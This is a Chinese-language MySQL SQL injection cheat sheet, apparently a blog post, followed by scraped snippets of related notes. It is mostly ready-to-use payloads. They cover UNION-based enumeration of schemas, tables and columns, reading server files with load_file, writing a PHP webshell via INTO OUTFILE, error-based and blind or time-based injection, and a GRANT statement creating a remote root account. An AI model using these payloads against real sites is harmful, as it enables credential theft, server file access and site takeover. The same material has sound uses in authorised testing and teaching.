一般注入,select注入
1.注釋符號
#
/*--
2.過濾空格注入
使用/**/或()或+代替空格
%0c
= form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多條顯示
concat()
group_concat()
concat_ws() #0x7c 放在第乙個 資料被 「|」隔開
4.一些相關函式
system_user() 系統使用者名稱
user() 使用者名稱
current_user 當前使用者名稱
session_user()連線資料庫的使用者名稱
database() 資料庫名
version() mysql資料庫版本
load_file() mysql讀取本地檔案的函式
@@datadir 讀取資料庫路徑
@@basedir mysql 安裝路徑
@@version_compile_os 作業系統 windows server 2003
grant all privileges on . to 『root』@』%』 identified by 『123456』 with grant option;
5.mysql一般注入語句
a)猜字段數
order
by n/*
b)檢視mysql基本資訊
and 1=2 union select
1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7 /*
c)查詢資料庫
and 1=2 union select
1,schema_name,3,4
from information_schema.schemata limit 1,1/*
and1=2
union
select
1,group_concat(schema_name),3,4
from information_schema.schemata/*
d)查詢表名
and 1=2 union select
1,2,3,4,table_name,5
from information_schema.tables where table_schema=資料庫的16進製制編碼 limit 1,1/*
and1=2
union
select
1,2,3,4,group_concat(table_name),5
from information_schema.tables where table_schema=資料庫的16進製制編碼/*
e)查詢字段
and 1=2 union select
1,2,3,4,column_name,5,6,7
from information_schema.columns where table_name=表名的十六進製制編碼 and table_schema=資料庫的16進製制編碼 limit 1,1/*
and1=2
union
select
1,2,3,4,group_concat(column_name),5,6,7
from information_schema.columns where table_name=表名的十六進製制編碼 and table_schema=資料庫的16進製制編碼/*
資料庫的16進製制編碼可以使用 加上引號實現「 」
f)查詢資料
and 1=2 union select
1,2,3,欄位1,5,欄位2,7,8
from 資料庫.表/*
判斷是否具有讀寫許可權
and (select
count(*) from mysql.user)>0/*
and (select
count(file_priv) from mysql.user)>0/*
6.mysql讀取寫入檔案
必備條件:
讀:file許可權必備
寫:1.絕對路徑 2.union使用 3. 可以使用」
————————-讀———————-
mysql3.x讀取方法
create table a(cmd text);
load data infile 『c:\***\***\***.txt』 into table a;
select * from a;
mysql4.x讀取方法
除上述方法還可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file(『c:\ddd\ddd\ddd.txt』));
select * from a;
mysql5.x讀取方法
上述兩種都可以
讀取檔案技巧:
load_file(char(32,26,56,66))
load_file(0x633a5c626f6f742e696e69)
————寫————————–
into outfile寫檔案
union select 1,2,3,char(這裡寫入你轉換成10進製或16進製制的一句話木馬**),5,6,7,8,9,10,7 into outfile 『d:\web\90team.php』/*
0x01 mysql一般注入(insert、update)
mysql一般請求mysql_query不支援多語句執行,mysqli可以。
insert注入多使用報錯注入!
1.如果可以直接插入管理員可以直接使用!
insert into user(username,password) values(『***x』,』 ***x』),(『dddd』,』dddd』)/* 『);
2.如果可以插入一些資料,這些資料會在網頁中顯示,我們可以結合xxs和csrf來獲取cookies或getshell
update注入同上
0x02 mysql報錯注入
and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
語句處填入一般一句,如:select distinct concat(0x7e,0x27,schema_name,0x27,0x7e) from information_schema.schemata limit 0,1
and+1=(select+*+from+(select+name_const((語句),1),name_const((語句),1))+as+x)–
3.update web_ids set host=』www.0x50sec.org』 where id =1 and (select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select (語句)),1,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 and (select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select (語句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql一般盲注
使用ascii
and ascii(substring((select password from users where id=1),1,1))=49
使用正規表示式
and 1=(select 1 from information_schema.tables where table_schema=」blind_sqli」 and table_name regexp 『^[a-n]』 limit 0,1)
0x04 mysql時間盲注
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode(『msg』,』by 5 seconds』)),null) from (select database() as current) as tbl
union select if(substring(password,1,1)=』a』,benchmark(100000,sha1(1)),0) user,password from mysql.user where user = 『root』
0x05 mysql其他注入技巧
以後遇見了更新
0x06 mysql資料庫版本特性
mysql5.0以後 information.schema庫出現
mysql5.1以後 udf 匯入xx\lib\plugin\ 目錄下
3.mysql5.x以後 system執行命令
sql注入筆記
sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...